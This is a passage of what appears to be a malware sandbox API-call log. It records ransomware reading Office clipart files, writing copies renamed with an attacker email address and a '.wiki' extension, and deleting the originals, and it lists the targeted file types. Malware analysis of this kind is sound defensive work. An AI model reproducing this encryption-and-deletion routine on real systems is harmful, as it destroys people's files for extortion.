Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0194.847] lstrlenW (lpString=".dbf") returned 4 [0194.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0194.847] lstrlenW (lpString=".1cd") returned 4 [0194.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0194.847] lstrlenW (lpString=".jpg") returned 4 [0194.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.847] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.847] lstrlenW (lpString="J0107258.WMF") returned 12 [0194.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.848] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=8552) returned 1 [0194.848] CloseHandle (hObject=0x1f0) returned 1 [0194.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf")) returned 0x20 [0194.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.848] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.848] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0194.848] GetLastError () returned 0x0 [0194.848] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x2168, lpOverlapped=0x0) returned 1 [0194.894] WriteFile (in: hFile=0x214, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x2170, lpOverlapped=0x0) returned 1 [0194.895] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.895] WriteFile (in: hFile=0x214, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.895] SetEndOfFile (hFile=0x214) returned 1 [0194.895] CloseHandle (hObject=0x214) returned 1 [0194.895] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.895] SetEndOfFile (hFile=0x1f0) returned 1 [0194.896] CloseHandle (hObject=0x1f0) returned 1 [0194.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.896] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf")) returned 1 [0194.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0194.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0194.897] lstrlenW (lpString=".doc") returned 4 [0194.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.897] lstrlenW (lpString=".docx") returned 5 [0194.897] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.897] lstrlenW (lpString=".pdf") returned 4 [0194.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.897] lstrlenW (lpString=".xls") returned 4 [0194.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.897] lstrlenW (lpString=".xlsx") returned 5 [0194.897] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.897] lstrlenW (lpString=".ppt") returned 4 [0194.897] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0194.897] lstrlenW (lpString=".zip") returned 4 [0194.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.897] lstrlenW (lpString=".rar") returned 4 [0194.897] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.897] lstrlenW (lpString=".bz2") returned 4 [0194.897] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.897] lstrlenW (lpString=".7z") returned 3 [0194.897] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0194.897] lstrlenW (lpString=".dbf") returned 4 [0194.897] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0194.897] lstrlenW (lpString=".1cd") returned 4 [0194.897] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0194.897] lstrlenW (lpString=".jpg") returned 4 [0194.897] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0194.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0194.898] lstrlenW (lpString=".doc") returned 4 [0194.898] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.898] lstrlenW (lpString=".docx") returned 5 [0194.898] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.898] lstrlenW (lpString=".pdf") returned 4 [0194.898] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.898] lstrlenW (lpString=".xls") returned 4 [0194.898] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.898] lstrlenW (lpString=".xlsx") returned 5 [0194.898] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.898] lstrlenW (lpString=".ppt") returned 4 [0194.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0194.898] lstrlenW (lpString=".zip") returned 4 [0194.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.898] lstrlenW (lpString=".rar") returned 4 [0194.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.898] lstrlenW (lpString=".bz2") returned 4 [0194.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.898] lstrlenW (lpString=".7z") returned 3 [0194.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0194.898] lstrlenW (lpString=".dbf") returned 4 [0194.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0194.898] lstrlenW (lpString=".1cd") returned 4 [0194.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0194.898] lstrlenW (lpString=".jpg") returned 4 [0194.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.899] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.899] lstrlenW (lpString="J0107266.WMF") returned 12 [0194.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.899] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=5868) returned 1 [0194.899] CloseHandle (hObject=0x1f0) returned 1 [0194.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf")) returned 0x20 [0194.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.900] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.900] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0194.900] GetLastError () returned 0x0 [0194.900] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x16ec, lpOverlapped=0x0) returned 1 [0194.949] WriteFile (in: hFile=0x214, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x16f0, lpOverlapped=0x0) returned 1 [0194.950] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.950] WriteFile (in: hFile=0x214, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.950] SetEndOfFile (hFile=0x214) returned 1 [0194.950] CloseHandle (hObject=0x214) returned 1 [0194.951] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.951] SetEndOfFile (hFile=0x1f0) returned 1 [0194.951] CloseHandle (hObject=0x1f0) returned 1 [0194.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf")) returned 1 [0194.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0194.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0194.952] lstrlenW (lpString=".doc") returned 4 [0194.952] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.952] lstrlenW (lpString=".docx") returned 5 [0194.952] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.952] lstrlenW (lpString=".pdf") returned 4 [0194.952] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.952] lstrlenW (lpString=".xls") returned 4 [0194.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.952] lstrlenW (lpString=".xlsx") returned 5 [0194.952] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.952] lstrlenW (lpString=".ppt") returned 4 [0194.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0194.952] lstrlenW (lpString=".zip") returned 4 [0194.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.952] lstrlenW (lpString=".rar") returned 4 [0194.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.952] lstrlenW (lpString=".bz2") returned 4 [0194.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.952] lstrlenW (lpString=".7z") returned 3 [0194.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0194.952] lstrlenW (lpString=".dbf") returned 4 [0194.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0194.952] lstrlenW (lpString=".1cd") returned 4 [0194.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0194.953] lstrlenW (lpString=".jpg") returned 4 [0194.953] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0194.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0194.953] lstrlenW (lpString=".doc") returned 4 [0194.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.953] lstrlenW (lpString=".docx") returned 5 [0194.953] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.953] lstrlenW (lpString=".pdf") returned 4 [0194.953] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.953] lstrlenW (lpString=".xls") returned 4 [0194.953] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.953] lstrlenW (lpString=".xlsx") returned 5 [0194.953] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.953] lstrlenW (lpString=".ppt") returned 4 [0194.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0194.953] lstrlenW (lpString=".zip") returned 4 [0194.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.953] lstrlenW (lpString=".rar") returned 4 [0194.953] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.953] lstrlenW (lpString=".bz2") returned 4 [0194.953] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.953] lstrlenW (lpString=".7z") returned 3 [0194.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0194.953] lstrlenW (lpString=".dbf") returned 4 [0194.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0194.954] lstrlenW (lpString=".1cd") returned 4 [0194.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0194.954] lstrlenW (lpString=".jpg") returned 4 [0194.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.954] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.954] lstrlenW (lpString="J0107288.WMF") returned 12 [0194.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.954] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=13436) returned 1 [0194.954] CloseHandle (hObject=0x1f0) returned 1 [0195.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf")) returned 0x20 [0195.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0195.052] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.052] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.053] GetLastError () returned 0x0 [0195.053] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x347c, lpOverlapped=0x0) returned 1 [0195.101] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x3480, lpOverlapped=0x0) returned 1 [0195.102] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.102] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.102] SetEndOfFile (hFile=0x1f8) returned 1 [0195.102] CloseHandle (hObject=0x1f8) returned 1 [0195.102] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.102] SetEndOfFile (hFile=0x1f0) returned 1 [0195.103] CloseHandle (hObject=0x1f0) returned 1 [0195.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.103] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf")) returned 1 [0195.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0195.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0195.104] lstrlenW (lpString=".doc") returned 4 [0195.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.104] lstrlenW (lpString=".docx") returned 5 [0195.104] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.104] lstrlenW (lpString=".pdf") returned 4 [0195.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.104] lstrlenW (lpString=".xls") returned 4 [0195.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.104] lstrlenW (lpString=".xlsx") returned 5 [0195.104] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.104] lstrlenW (lpString=".ppt") returned 4 [0195.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0195.104] lstrlenW (lpString=".zip") returned 4 [0195.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.104] lstrlenW (lpString=".rar") returned 4 [0195.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.104] lstrlenW (lpString=".bz2") returned 4 [0195.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.104] lstrlenW (lpString=".7z") returned 3 [0195.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0195.104] lstrlenW (lpString=".dbf") returned 4 [0195.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0195.104] lstrlenW (lpString=".1cd") returned 4 [0195.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0195.104] lstrlenW (lpString=".jpg") returned 4 [0195.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0195.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0195.105] lstrlenW (lpString=".doc") returned 4 [0195.105] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.105] lstrlenW (lpString=".docx") returned 5 [0195.105] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.105] lstrlenW (lpString=".pdf") returned 4 [0195.105] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.105] lstrlenW (lpString=".xls") returned 4 [0195.105] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.105] lstrlenW (lpString=".xlsx") returned 5 [0195.105] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.105] lstrlenW (lpString=".ppt") returned 4 [0195.105] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0195.105] lstrlenW (lpString=".zip") returned 4 [0195.105] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.105] lstrlenW (lpString=".rar") returned 4 [0195.105] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.105] lstrlenW (lpString=".bz2") returned 4 [0195.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.105] lstrlenW (lpString=".7z") returned 3 [0195.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0195.105] lstrlenW (lpString=".dbf") returned 4 [0195.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0195.105] lstrlenW (lpString=".1cd") returned 4 [0195.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0195.105] lstrlenW (lpString=".jpg") returned 4 [0195.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.106] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.106] lstrlenW (lpString="J0107316.WMF") returned 12 [0195.106] CreateFileW (lpFileName="C:\\Program 